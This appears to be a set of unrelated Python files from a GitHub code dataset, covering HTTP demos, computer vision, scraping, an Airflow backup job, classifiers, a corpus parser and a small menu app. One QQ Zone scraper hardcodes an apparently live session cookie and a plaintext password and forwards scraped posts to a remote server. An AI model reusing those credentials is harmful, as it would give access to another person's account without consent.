\n","repo_name":"lana-svet/anaphora","sub_path":"pairs.py","file_name":"pairs.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"74697466436","text":"import requests\nimport json\nfrom pprint import pprint\n\n\ndef get_response(url):\n user_agent = user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36'\n header = {}\n header[\"user-agent\"] = user_agent\n response = requests.get(url + \"get\", headers=header)\n print(\"GET response:\")\n pprint(response.json())\n\n response = requests.post(\n url + 'post', data={'key': 'value'}, headers=header)\n print(\"\\n\\nPOST response:\")\n pprint(response.json())\n\n\ndef main():\n url = \"http://httpbin.org/\"\n get_response(url)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Python000-class01/Python000-class01","sub_path":"Week_01/G20200389010107/week01_0107_ex2.py","file_name":"week01_0107_ex2.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"62"} +{"seq_id":"25635935571","text":"'''recognize monitor resolution'''\n\nimport setting\nfrom PyQt5.QtWidgets import QApplication\n\nh_devide = 4\nc0_width = 55\n\napp = QApplication([])\nscreen_resolution = app.desktop().screenGeometry()\nwidth = screen_resolution.width()\ncol_width = int((width - c0_width)*0.95//(24*h_devide))\n","repo_name":"pandavas89/time_tracker","sub_path":"autosize.py","file_name":"autosize.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28526434717","text":"from tool import *\nimport numpy as np\nimport cv2\nmp_face_detection = mp.solutions.face_detection\nmp_drawing = mp.solutions.drawing_utils\n\nface_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_alt.xml')\n\ndef main():\n width = 640\n height = 480\n facedata = np.load(\"facetest/p3/my_face.npy\")\n capture = cv2.VideoCapture(0)\n capture.set(cv2.CAP_PROP_FRAME_WIDTH, width)\n capture.set(cv2.CAP_PROP_FRAME_HEIGHT, height)\n #n = 0\n with mp_face_detection.FaceDetection(model_selection=0, min_detection_confidence=0.5) as face_detection:\n while cv2.waitKey(33) < 0:\n ret, frame = capture.read()\n #detectFaceImg = detectFace(frame.copy())\n #mp_detectFaceImg_v3 = mp_detectFace_v3(frame.copy(), face_detection, width, height, facedata)\n mp_detectFaceImg_v4 = mp_detectFace_v4(frame.copy(), face_detection, width, height, facedata)\n #n = n + 1\n\n\n # 1 opencv와 mediapipe 차이\n #show_result = np.hstack((detectFaceImg, mp_detectFaceImg))\n\n\n show_result = mp_detectFaceImg_v4\n\n\n cv2.imshow(\"video capture\", mp_detectFaceImg_v4)\n capture.release()\n cv2.destroyAllWindows()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"tate2iscode/FaceRecognize","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7483226544","text":"#Final Demo: Allows our robot to follow the maze using computer vision\n\nimport cv2 as cv\n\nimport numpy as np\n\nimport argparse\n\nimport statistics\n\nimport time\n\nimport smbus\n\nimport time\n\nimport board\n\nimport adafruit_character_lcd.character_lcd_rgb_i2c as character_lcd\n\nimport math\n\nfrom time import sleep\n\nfrom numpy import asarray\n\nfrom PIL import Image\n\nimport picamera \n\n#bus =smbus.SMBus(1)\n\n#address =0x04\n\nkernel = np.ones((5,5),np.uint8)\n\nquadrantNum = 0\n\ntapeDetected = False #Boolean output for status of tape\n\nendOfLine = False #Boolean output for end of tape\n\nblindSpot = 12 #Length of blindspot in inches (Need to change based on experiment)\n \n \n\n#output function to arduino\n\ndef writeNumber(value):\n\n bus.write_byte(address,value)\n\n return -1\n\n#Function that runs the camera\n\ndef takeAPic():\n\n with picamera.PiCamera() as camera:\n camera.resolution = (320,240) #320,240\n camera.framerate = 24\n time.sleep(2)\n output = np.empty((240,320,3),dtype=np.uint8) #\n camera.capture(output,'bgr') #needs to be in bgr\n im = np.array(output)\n #im.save('picTake.jpg')\n #im.save('/home/pi/Computer_Vision_Files/FinalDemoPic.jpg')\n #cv.imshow(\"Field of vision\",im)\n #cv.waitKey(5) \n #cv.destroyAllWindows()\n return im\n\n#converts image to HSV\n\ndef HSVFunction(picTaken):\n image2HSV = cv.cvtColor(picTaken,cv.COLOR_BGR2HSV) #converts from BGR to HSV\n lower_blue = np.array([104,50,50]) #104 #Lower value of blue hue (Need to fix)\n upper_blue = np.array([128,255,255]) #128 #Upper value of blue hue (Need to fix)\n mask = cv.inRange(image2HSV,lower_blue, upper_blue) #Mask for yellow object\n res = cv.bitwise_and(image2HSV ,image2HSV , mask=mask) #bitwise and masks original image\n results = cv.imwrite('/home/pi/Computer_Vision_Files/Masked_Final.jpg',res)\n\n #Rectangular mask for top of camera\n #topMask = np.zeros(image2HSV.shape[:2], np.int8)\n #cv.rectangle(topMask,(0,384),(1024,768),255,-1) #mask that covers top portion of screen\n #results = cv.imwrite('/home/pi/Computer_Vision_Files/topMask.jpg',topMask)\n #cv.imshow(\"Rectangle Mask\",topMask)\n #cv.waitKey(5) \n #cv.destroyAllWindows()\n #finalImage = cv.bitwise_and(res,res,mask = topMask)\n \n\n cv.imshow('finalImage',res) #finalImage\n #cv.imshow('Field of view',picTaken)\n #cv.imshow('mask',mask) #shows mask (diagnostic purpuses only)\n #cv.imshow('Masked Image',res) #Shows masked image\n cv.waitKey(5) #shows field of view\n cv.destroyAllWindows()\n #results = cv.imwrite('/home/pi/Computer_Vision_Files/maskedImage.jpg',finalImage)\n #print('shape of array',np.shape(image2Process))\n\n return res\n\n#function to turn the image to grayscale\n\ndef grayScaleFun(maskedImage):\n gray = cv.cvtColor(maskedImage,cv.COLOR_BGR2GRAY)\n return gray\n\n#Function to threshold image\n\ndef threshold(grayImage):\n _,threshImage = cv.threshold(grayImage,75,255,cv.THRESH_BINARY)\n threshImage2 = cv.morphologyEx(threshImage, cv.MORPH_CLOSE, kernel)\n #thresh = cv.imwrite('/home/pi/Computer_Vision_Files/threshImage.jpg',threshImage2)\n arraySize = np.shape(threshImage2)\n #print('shape of array',arraySize)\n cv.imshow(\"THRESHOLD\", threshImage2)\n cv.waitKey(500)\n cv.destroyAllWindows()\n return threshImage2\n\n#Function that finds center of tape on screen\n\ndef tapeFinder(threshImage2):\n imageLocation = np.argwhere(threshImage2)\n imageArray = np.array(imageLocation)\n ImageLocationY = np.mean(imageArray, axis =0)\n\n #Checks Tape Location and returns colun of its location\n if (np.count_nonzero(threshImage2) == 0):\n print('No marker found')\n colNum = 7 #This output can be used to tell robot to spin \n else:\n if(ImageLocationY[1]<107): #This tells the robot to turn left\n colNum = 0\n if(ImageLocationY[1]>=107 and ImageLocationY[1]<=213): #This tells the robot to drive straight\n colNum = 1\n if(ImageLocationY[1] >213): #This tells the robot to turn right\n colNum = 2\n print('Column',colNum)\n return colNum\n\n#Main\npicTaken=takeAPic()\nmaskedImage = HSVFunction(picTaken)\ngrayImage = grayScaleFun(maskedImage)\nthreshImage = threshold(grayImage)\ntapeFinder(threshImage)\n\n \n","repo_name":"maxlancaster87/EENG-350","sub_path":"Final_Demo/Computer_Vision/Final_Demo.py","file_name":"Final_Demo.py","file_ext":"py","file_size_in_byte":4897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"43468096374","text":"import requests\nimport time\nimport json\nfrom settings import *\nfrom utils import data_parse\n\ncookie = \"__Q_w_s__QZN_TodoMsgCnt=1; pgv_pvid=1285134080; ptui_loginuin=1772750193@qq.com; RK=xrOotVMwbU; ptcz=2438c80d18e46d131a515b9e6e71a4afd6ef0ff66091d521289a20d23801d4c8; QZ_FE_WEBP_SUPPORT=1; cpu_performance_v8=17; pt_sms_phone=156******76; __Q_w_s_hat_seed=1; _qpsvr_localtk=0.5585212456102961; pgv_info=ssid=s2442643798; uin=o1772750193; skey=@LTpaQXJPl; p_uin=o1772750193; pt4_token=DKKa*K-Gar621s12-lCV8PcnrXd6tOXC9zUBgPEHTjo_; p_skey=VWUpdhqqOVzom73MSczAQL0upfWzmgcl18FMntv5oLY_; Loading=Yes; rv2=80DA5B4E5B7463A7B59E07EBAC4D0114576126D6F621926A74; property20=68111E5CD44626330CB304B8DB7446910E1E04C7666CFB6AA76D610BA67279EC8329B3CABB9B58FF\"\n\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36 HBPC/12.0.0.301',\n 'Cookie': cookie\n}\n\nbaseUrl = f'https://user.qzone.qq.com/proxy/domain/ic2.qzone.qq.com/cgi-bin/feeds/feeds_html_act_all?scope=0&filter=all&flag=1&refresh=0&firstGetGroup=0&mixnocache=0&scene=0&begintime=undefined&icServerTime=&sidomain=qzonestyle.gtimg.cn&useutf8=1&outputhtmlfeed=1&refer=2&r=0.8235246405772889'\n\ndef get_g_tk(cookie):\n #获取token\n pskey_start = cookie.find('p_skey=')\n pskey_end = cookie.find(';', pskey_start)\n p_skey = cookie[pskey_start+7: pskey_end]\n h = 5381\n for s in p_skey:\n h += (h << 5) + ord(s)\n \n return h & 2147483647\n \ndef request_data(host):\n #请求数据\n print(\"正在爬取%s\" % host[\"name\"])\n #生成token\n token = str(get_g_tk(cookie))\n param = f'&g_tk={token}&hostuin={host[\"number\"]}&start=0&count=10'\n targetUrl = baseUrl + param\n r = requests.get(targetUrl, headers = headers)\n return r.text\n\ndef collect_data(html, host):\n #从爬取的js收集数据\n prefix = 'data/qqzone_js/%s-%s' % (time.strftime(\"%Y-%m-%d@%H-%M\"), host[\"name\"])\n #将js备份到本地\n with open(prefix+'.js', 'w', encoding='utf-8') as f:\n f.write(html)\n # try:\n #调用解析函数\n data = data_parse(html)\n result = {\"name\": host[\"name\"], \"number\": host[\"number\"], \"data\": data}\n #将解析的json保存到本地\n prefix = 'data/qqzone_json/%s-%s' % (time.strftime(\"%Y-%m-%d@%H-%M\"), host[\"name\"])\n with open(prefix+'.json', 'w', encoding='utf-8') as f:\n f.write(json.dumps(result,ensure_ascii=False))\n \n #发送数据\n with open(prefix+'.json', 'r', encoding='utf-8') as f:\n data = str(f.read()).encode('utf-8')\n send_result = send_data({\"data\": data, \"password\": password})\n print(send_result)\n \n return result\n\ndef send_data(data):\n #将数据发送到服务器\n send_headers = {\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36 HBPC/12.0.0.301'\n }\n #'https://xinxiyouxuan.xyz/hotspot/post'\n # 'http://127.0.0.1:8001/hotspot/post'\n send_url = 'https://xinxiyouxuan.xyz/hotspot/post'\n #不依赖外部存储文件时\n # data = str(json.dumps(data)).encode('utf-8')\n r = requests.post(send_url, headers=send_headers, data=data)\n return (r.status_code, r.text)\n\n\ndef simulate_send():\n #模拟发送到数据库\n with open('data/json/2022-05-11@15-22-太原科技大学表白墙.json', 'r', encoding='utf-8') as f:\n data = str(f.read()).encode('utf-8')\n send_result = send_data({\"data\": data, \"password\": \"yhl@521\"})\n print(send_result)\n\ndef main():\n for host in host_list:\n collect_data(request_data(host), host)\n time.sleep(10)\n \nmain()\n# simulate_send()\n\n","repo_name":"PSNS-VLI/qq-spider","sub_path":"spider_qq.py","file_name":"spider_qq.py","file_ext":"py","file_size_in_byte":3780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70238045958","text":"import pendulum\nimport sys\nfrom airflow.decorators import dag, task\nfrom scripts.aspace_backup import backup_aspace as bua\nfrom scripts.aspace_backup.config import config\nimport logging\n\n\n@task\ndef get_objects(obj_type: str='resources', test: int=0, modified_since=None, **kwargs):\n '''\n Reusable task to fetch objects of the specified type from the ASpace API.\n :param obj_type: should be one of ['resources', 'digital_objects']\n '''\n logger = logging.getLogger(\"airflow.task\")\n # If DAG has run before, assume full backup has been done; get only resources modified since the last successful run\n if kwargs['prev_start_date_success']:\n modified_since = int(kwargs['prev_start_date_success'].timestamp())\n logger.info(f'Getting resources modified since {kwargs[\"prev_start_date_success\"]}')\n # Create ASpace header with token\n header = bua.create_auth_header(bua.authenticate(config))\n # Get resource objects and IDs\n obj_fetch = bua.ObjectFetch(config=config, header=header, obj_type=obj_type)\n obj_fetch.get_object_ids(modified_since=modified_since, test=test).get_objects()\n logger.info(f'Got {len(obj_fetch.objects)} {obj_type}.')\n # Get XML EAD docs\n if obj_type == 'resources':\n obj_fetch.get_xml_docs(obj_fetch.make_ead_urls)\n else:\n obj_fetch.get_xml_docs(obj_fetch.make_mets_urls)\n logger.info(f'Got {len(obj_fetch.docs)} XML docs for {obj_type}.')\n # Store objects\n obj_fetch.store_objects([obj for obj in obj_fetch.objects if 'error' not in obj])\n # Store XML docs\n docs_to_store = [d for d in obj_fetch.docs if 'error' not in d]\n paths = [d['uri'].replace(config['base_url'], '') for d in docs_to_store]\n obj_fetch.store_objects([doc['body'] for doc in docs_to_store], paths)\n # Log errors\n errors = [obj for obj in obj_fetch.objects if 'error' in obj] + [d for d in obj_fetch.docs if 'error' in d]\n for error in errors:\n logger.error(error)\n\n@dag(\n schedule='0 0 * * *',\n start_date=pendulum.datetime(2022, 11, 17, tz='EST'),\n catchup=False,\n tags=['prod', 'aspace', 'backup'],\n)\ndef aspace_backup():\n '''\n Get extract of ASpace resources and digital objects. If running for the first time, it will perform a full extract. Otherwise, it will get only those records modified since the last run.\n '''\n resource_task = get_objects.override(task_id='get_resources')\n do_task = get_objects.override(task_id='get_digital_objects')\n resource_task() >> do_task(obj_type='digital_objects')\n\naspace_backup()\n","repo_name":"gwu-libraries/aspace-backup","sub_path":"dags/aspace_backup_dag.py","file_name":"aspace_backup_dag.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36563318127","text":"# ================================ imports ==================================================#\nimport numpy as np\nimport pandas as pd\nimport cv2\nimport matplotlib.pyplot as plt\nimport math\nimport sys\nimport glob\nimport os\nfrom os import path\nfrom skimage import feature\nfrom sklearn import svm\nfrom sklearn.metrics import classification_report\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import confusion_matrix\nimport petl as etl\nfrom tabulate import tabulate\n# ====================================================================================================#\n\n# ================================ open image ==================================================#\ndef open_img(_path):\n img = cv2.imread(_path)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n # plt.imshow(cv2.cvtColor(gray, cv2.COLOR_BGR2RGB)), plt.title('result')\n # plt.show()\n return gray\n# ====================================================================================================#\n\n# ================================ get image feature ==================================================#\ndef get_image_feature(img):\n numPoints = 8\n radius = 1\n\n # extract the histogram of Local Binary Patterns\n lbp = feature.local_binary_pattern(img, numPoints, radius, method=\"uniform\")\n (hist, _) = np.histogram(lbp.ravel(), bins=range(0, numPoints + 3), range=(0, numPoints + 2))\n # optionally normalize the histogram\n eps = 1e-7\n hist = hist.astype(\"float\")\n hist /= (hist.sum() + eps)\n return hist\n# ====================================================================================================#\n\n# ================================ build data set ==================================================#\ndef build_data_set(imeges_data_path):\n male = imeges_data_path + \"/male\"\n male_images_list = glob.glob(male + \"/*.jpg\")\n female = imeges_data_path + \"/female\"\n female_images_list = glob.glob(female + \"/*.jpg\")\n\n data2 = []\n for im in male_images_list:\n img = open_img(im)\n img_feature = get_image_feature(img)\n data2.append({\"label\": 1, \"feature\": img_feature, \"gender\": \"male\"})\n\n for im in female_images_list:\n img = open_img(im)\n img_feature = get_image_feature(img)\n data2.append({\"label\": 0, \"feature\": img_feature, \"gender\": \"female\"})\n\n df = pd.DataFrame(data2)\n\n return df\n# ====================================================================================================#\n\n# ================================ train model svc ==================================================#\ndef train_model_svc(train_dataset, test_dataset):\n train_data = list(train_dataset['feature'])\n train_labels = list(train_dataset['label'])\n test_data = list(test_dataset['feature'])\n test_labels = list(test_dataset['label'])\n\n # Create a linear SVM classifier\n #clf = svm.SVC(kernel=\"linear\")\n\n # Create a rfb SVM classifier\n clf = svm.SVC(kernel='rbf', C=1, gamma=10)\n\n # Train classifier\n clf.fit(train_data, train_labels)\n\n # Make predictions on unseen test data\n clf_predictions = clf.predict(test_data)\n\n print(\"Accuracy: {}%\".format(clf.score(test_data, test_labels) * 100))\n # printing report and different statistics\n #print(classification_report(test_labels, clf.predict(test_data)))\n\n return clf_predictions\n# ====================================================================================================#\n\n# ================================ Create result file ==================================================#\ndef create_result_file(y_true, y_pred):\n f = open(\"result.txt\", \"w\")\n f.write(\"Best kernel: RFP \\n\\n\")\n f.write(\"Best Parameters:\\n\\n Radios = 1 points_num = 8 \\t C = 1 gamma = 10 \\n\\n\")\n f.write(\" Radios = 3 points_num = 24 \\t C = 0.1 gamma = 0.1 \\n\\n\")\n f.write(\"Best Accuracy: 68.57%\\n\\n\\n\")\n\n\n f.write(\" Confusion Matrix\\n\")\n tn, fp, fn, tp = confusion_matrix(y_true, y_pred).ravel()\n records = [('male', tp, fn), ('female', fp, tn)]\n df = pd.DataFrame.from_records(records, columns=(' ', 'male', 'female'))\n table = etl.fromdataframe(df)\n f.write(tabulate(table))\n\n f.close()\n# ====================================================================================================#\n\n# ================================ main ==================================================#\nif __name__ == '__main__':\n train_dataset = build_data_set(sys.argv[1]) #\"gender_split/train\"\n test_dataset = build_data_set(sys.argv[3]) #\"gender_split/test\"\n #valid_dataset = build_data_set(sys.argv[2]) #\"gender_split/valid\"\n\n predictions = train_model_svc(train_dataset, test_dataset)\n create_result_file(test_dataset['label'], predictions)\n# linear (1,8) valid - 66.66% test- 67.14%\n# linear (3,24) valid - 65.27% test- nan\n# RFB (1,8) (c=1,g=10) valid - 66.66% test- 68.57%\n# RFB (3,24) (c=0.1,g=0.1) valid - 66.66% test- 68.57%\n","repo_name":"farucis/Classification-of-manuscript-by-gender","sub_path":"classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":5048,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"71104783879","text":"#!/bin/python\n# imports\nimport argparse\nimport readdata as RD\nimport feature_pipeline as PPL\nimport numpy as np\n\n# main\ndef main():\n ''' Main function to do feature-based classification\n '''\n parser = argparse.ArgumentParser(description='')\n parser.add_argument('-i', '--input-file', required=True, help='The file containing text and labels (CLIN formated).')\n parser.add_argument('-t', '--test-file', required=False, help='The test data.')\n parser.add_argument('-o', '--output-dir', required=False, default='tmp', help='The directory where output is stored. Default is tmp.')\n parser.add_argument('-v', '--verbose', required=False, action='store_true', help='Verbose mode.')\n\n args = parser.parse_args()\n\n # STEP 1. Read Labels and Sentences\n\n if args.test_file != None:\n train_labels, train_sents = RD.readData(args.input_file)\n test_labels, test_sents = RD.readData(args.test_file)\n\n else:\n all_labels, all_sents=RD.readData(args.input_file)\n \n test_sents=all_sents[0:len(all_sents)//10]\n test_labels=all_labels[0:len(all_labels)//10]\n train_sents=all_sents[len(all_sents)//10:]\n train_labels=all_labels[len(all_labels)//10:] \n\n # Step 2. Create the pipeline and fit a model \n pipeline = PPL.pipeline(train_sents)\n model=pipeline.fit(train_sents, train_labels)\n\n # Step 3. Test he pipeline\n pred=model.predict(test_sents)\n\n # Step 4. Compute scores\n # Step 4.1. Accuracy:\n accuracy = np.mean(pred == test_labels)\n print(str(accuracy))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"AmitMY/gender-prediction","sub_path":"models/sklearn_based/featunion_classifier.py","file_name":"featunion_classifier.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"37117939800","text":"import re\nimport logging\nfrom argparse import ArgumentParser\n\nlogging.basicConfig(format='%(asctime)s %(levelname)s: %(message)s',\n datefmt='%m/%d/%Y %I:%M:%S %p', level=logging.DEBUG)\n\n\ndef chunk_parse_paracrawl_tmx(file_in, file_out,\n src_lang, tgt_lang, logging_freq):\n srcl, tgtl = src_lang, tgt_lang\n\n TU = re.compile(r'', re.DOTALL)\n TUV_SRC = re.compile(fr'(.*?)', re.DOTALL)\n TUV_TGT = re.compile(fr'(.*?)', re.DOTALL)\n SEG = re.compile(fr'(.*?)', re.DOTALL)\n DOC = re.compile(fr'(.*?)', re.DOTALL)\n\n logging.info(f\"Parsing {file_in}\")\n\n with open(file_in, 'r', encoding='utf8') as in_fh, \\\n open(file_out, 'w', encoding='utf8') as out_fh:\n chunks_written = 0\n chunk = \"\"\n line = in_fh.readline()\n while line:\n if re.match(r'', line.strip()):\n chunk = line\n elif re.match(r'', line.strip()):\n chunk += line\n\n assert(re.fullmatch(TU, chunk.strip()))\n\n src_tuv = re.findall(TUV_SRC, chunk)\n tgt_tuv = re.findall(TUV_TGT, chunk)\n assert len(src_tuv) == 1\n assert len(tgt_tuv) == 1\n\n src_tuv, tgt_tuv = src_tuv[0].strip(), tgt_tuv[0].strip()\n\n doc_id = re.findall(DOC, src_tuv)[0]\n src_sent, tgt_sent = re.findall(SEG, src_tuv), re.findall(SEG,\n tgt_tuv)\n\n assert len(src_sent) == 1\n assert len(tgt_sent) == 1\n\n src_sent, tgt_sent = src_sent[0], tgt_sent[0]\n\n out_fh.write(f\"{doc_id}\\t{src_sent}\\t{tgt_sent}\\n\")\n chunks_written += 1\n if chunks_written % logging_freq == 0:\n logging.info(f\"Processed {chunks_written} sentence pairs\")\n\n chunk = \"\"\n else:\n chunk += line\n\n line = in_fh.readline()\n\n logging.info(f\"Saved to {file_out}, {chunks_written} sentence pairs\")\n\n\nif __name__ == '__main__':\n parser = ArgumentParser()\n parser.add_argument(\"--ddir\", type=str, required=True,\n help=\"Directory containing the input .tmx file\",\n default=\"experiments/en-et_paracrawl\")\n parser.add_argument(\"--input\", type=str, required=True,\n help=\"Input .tmx file\",\n default=\"en-et.tmx\")\n parser.add_argument(\"--output\", type=str,\n help=\"\"\"Output file (will be written into the same \n location as the input file)\"\"\",\n default=\"doc-indices-paracrawl.txt\")\n parser.add_argument(\"--logfreq\", type=int,\n help=\"Log progress every N sentence pairs\",\n default=1000000)\n parser.add_argument(\"--srcl\", type=str,\n help=\"Source language\", default='en')\n parser.add_argument(\"--tgtl\", type=str,\n help=\"Target language\", default='et')\n\n args = parser.parse_args()\n\n chunk_parse_paracrawl_tmx(f\"{args.ddir}/{args.input}\",\n f\"{args.ddir}/{args.output}\",\n args.srcl, args.tgtl, args.logfreq)\n","repo_name":"MaksymDel/da","sub_path":"scripts-train-nmt/parse_paracrawl_tmx.py","file_name":"parse_paracrawl_tmx.py","file_ext":"py","file_size_in_byte":3466,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"74323508037","text":"'''\r\nName:\r\nDate:\r\nDescription: Use dictionaries and lists to manage data and show locations on the map\r\n'''\r\n\r\nimport os\r\nimport webbrowser\r\n#import folium\r\nimport csv\r\n\r\n\r\ncolumns = ['Short Name', 'Name', 'Category', 'URL', 'Lat', 'Lon', 'Color']\r\nMENU = \"\"\"\r\n=====================================================================\r\n1. Find an attraction by name 2. Find attractions by category\r\n3. Add an attraction 4. Edit an attraction\r\n5. Delete an attraction 6. Display all attractions\r\n7. Quit\r\n=====================================================================\r\n\"\"\"\r\nattractions = []\r\n\r\n\r\ndef openfile():\r\n '''\r\n Read the data from the data file\r\n Add the dictionaries to the list (attractions)\r\n '''\r\n global attractions\r\n with open(\"boston.csv\") as attrac:\r\n reader = csv.DictReader(attrac)\r\n for info in reader:\r\n attractions.append(info)\r\n\r\ndef findbyname():\r\n '''Find an attraction by its short name'''\r\n global shortnames\r\n name = entername()\r\n\r\n\r\n shortnames = [dic[\"Short Name\"] for dic in attractions]\r\n\r\n dic_byname = dict(zip(shortnames,attractions))\r\n\r\n\r\n info = dic_byname.get(name)\r\n for key, value in info.items():\r\n print(\"{:<10} : {:<10}\".format(key,value))\r\n\r\n\r\n\r\ndef findbycat():\r\n '''\r\n Find attractions by category\r\n '''\r\n categ_dic = {'e':\"events\",'s':\"shopping\",'t':\"tourism\",'u':\"university\"}\r\n\r\n category = input(\"Which type of attraction do you like to visti? [E]vent,[S]hopping, [T]ourism, [U]niversity: \").lower()\r\n\r\n while category not in ['e','s', 't', 'u']:\r\n print(\"Invalid input! Please try again.\")\r\n category = input(\r\n \"Which type of attraction do you like to visti? [E]vent,[S]hopping, [T]ourism, [U]niversity: \").lower()\r\n\r\n print(\"{:<15} {:<40} {:<20} {:<80} {:<15} {:<15} {:<15}\".format(\"Short Name\", \"Name\", \"Category\", \"URL\", \"Lat\", \"Lon\",\"Color\"))\r\n for info in attractions:\r\n\r\n\r\n if info[\"Category\"].lower() == categ_dic[category]:\r\n shortname, name, categ, url, lat, lon, color = map(str, info.values())\r\n print(\"{:<15} {:<40} {:<20} {:<80} {:<15} {:<15} {:<15}\".format(shortname, name, categ, url, lat, lon, color))\r\n\r\n\r\n\r\n\r\n\r\ndef allattractions():\r\n '''List and display all attractions'''\r\n\r\n print(\"{:<15} {:<40} {:<20} {:<80} {:<15} {:<15} {:<15}\".format(\"Short Name\",\"Name\",\"Category\",\"URL\",\"Lat\",\"Lon\",\"Color\"))\r\n\r\n for dic in attractions:\r\n shortname, name, category, url, lat, lon, color = map(str,dic.values())\r\n print(\"{:<15} {:<40} {:<20} {:<80} {:<15} {:<15} {:<15}\".format(shortname, name, category, url, lat, lon, color))\r\n\r\n\r\ndef addattraction():\r\n '''Add a new attraction'''\r\n global attractions\r\n newitem = input(\"please enter the short name of the new attraction: \")\r\n\r\n shortnames = [dic[\"Short Name\"] for dic in attractions]\r\n while newitem in shortnames:\r\n print(\"Attraction already exists. Please try again.\")\r\n newitem = input(\"please enter the short name of the new attraction: \")\r\n\r\n newitem_info = input(\"please enter the new attraction info (Name, category, URL, Lat, Lon, Color):\\n\")\r\n\r\n newitem_info = newitem_info.split(',')\r\n newitem_info.insert(0,newitem)\r\n\r\n newacctration_dic = dict(zip(columns,newitem_info))\r\n attractions.append(newacctration_dic)\r\n\r\n print(f\"You have add a new attraction for {newitem_info[0]}\")\r\n\r\ndef editattraction():\r\n '''Change the marker color of an attraction'''\r\n global attractions\r\n colors = {'g':\"green\",'b':\"blue\",'o':'orange'}\r\n shortname = input(\"Please enter short name of the attraction: \")\r\n shortnames = [dic[\"Short Name\"] for dic in attractions]\r\n while shortname not in shortnames:\r\n print(f\"Attraction {shortname} is not found. Please try again.\")\r\n shortname = input(\"Please enter short name of the attraction: \")\r\n\r\n newcolor = input(\"Please enter the new color [g]reen, [b]lue, [o]range,press Enter to keep old the color: \").lower()\r\n\r\n\r\n while newcolor not in ['g','b','o'] and newcolor !=\"\":\r\n print(\"Invalid input. try again.\")\r\n newcolor = input(\r\n \"Please enter the new color [g]reen, [b]lue, [o]range,press Enter to keep old the color: \").lower()\r\n\r\n if newcolor == \"\":\r\n pass\r\n else:\r\n for i in range(len(attractions)):\r\n if attractions[i][\"Short Name\"] == shortname:\r\n attractions[i]['Color'] = colors[newcolor]\r\n print(f\"You have succesfully changed the color of icon for {shortname} to {colors[newcolor]}\")\r\n\r\n\r\n\r\ndef deleteattraction():\r\n '''Delete an attraction'''\r\n global attractions\r\n name = entername()\r\n\r\n for info in attractions:\r\n if info[\"Short Name\"] == name:\r\n print(f\"Attraction {info['Name']} has been delete!\")\r\n attractions.pop(attractions.index(info))\r\n\r\n\r\n\r\ndef quit():\r\n '''Quit the program and write the info back to the data file'''\r\n\r\n with open(\"boston.csv\",\"w\") as details:\r\n dict_writer =csv.DictWriter(details,columns)\r\n dict_writer.writeheader()\r\n dict_writer.writerows(attractions)\r\n\r\n print(\"Have a nice day\")\r\n\r\ndef showonmap(attractionlist):\r\n # see http://fontawesome.io/icons/ for fancy icons\r\n icon_names = {\"university\": \"graduation-cap\",\r\n \"tourism\": \"camera\",\r\n \"shopping\": \"shopping-cart\",\r\n 'events': \"flag\"}\r\n pass\r\n\r\ndef entername():\r\n '''Process user input for the short name of an attraction'''\r\n name = input(\"Please enter the short name of the attraction: \").lower()\r\n\r\n # code to handle the situation where the short name is not found\r\n while name not in [dic[\"Short Name\"] for dic in attractions]:\r\n print(f\"Attraction {name} is not found.please try again.\")\r\n name = input(\"Please enter the short name of the attraction: \").lower()\r\n\r\n\r\n return name\r\n\r\ndef main():\r\n openfile()\r\n\r\n option = \"\"\r\n while True:\r\n print(MENU)\r\n option = input(\"Please select an option: \")\r\n while option not in '1234567':\r\n print(\"Invalid input! An option must be a number beween 1 and 7\")\r\n option = input(\"Please select an option: \")\r\n\r\n option = int(option)\r\n if option == 1:\r\n findbyname()\r\n elif option == 2:\r\n findbycat()\r\n elif option == 3:\r\n addattraction()\r\n elif option == 4:\r\n editattraction()\r\n elif option == 5:\r\n deleteattraction()\r\n elif option == 6:\r\n allattractions()\r\n else:\r\n quit()\r\n break\r\n\r\n\r\n\r\n\r\nmain()\r\n\r\n\r\n","repo_name":"inkblast/find-attractions","sub_path":"boston.py","file_name":"boston.py","file_ext":"py","file_size_in_byte":6729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37655821367","text":"import pygame\nimport random\nimport subprocess\nimport os\n\npygame.init()\n\ngameDisplay = pygame.display.set_mode((1600, 600))\npygame.display.set_caption('Disaster Run')\n\nmenu_principal = True\nmenu_jogar = False\nmenu_rank = 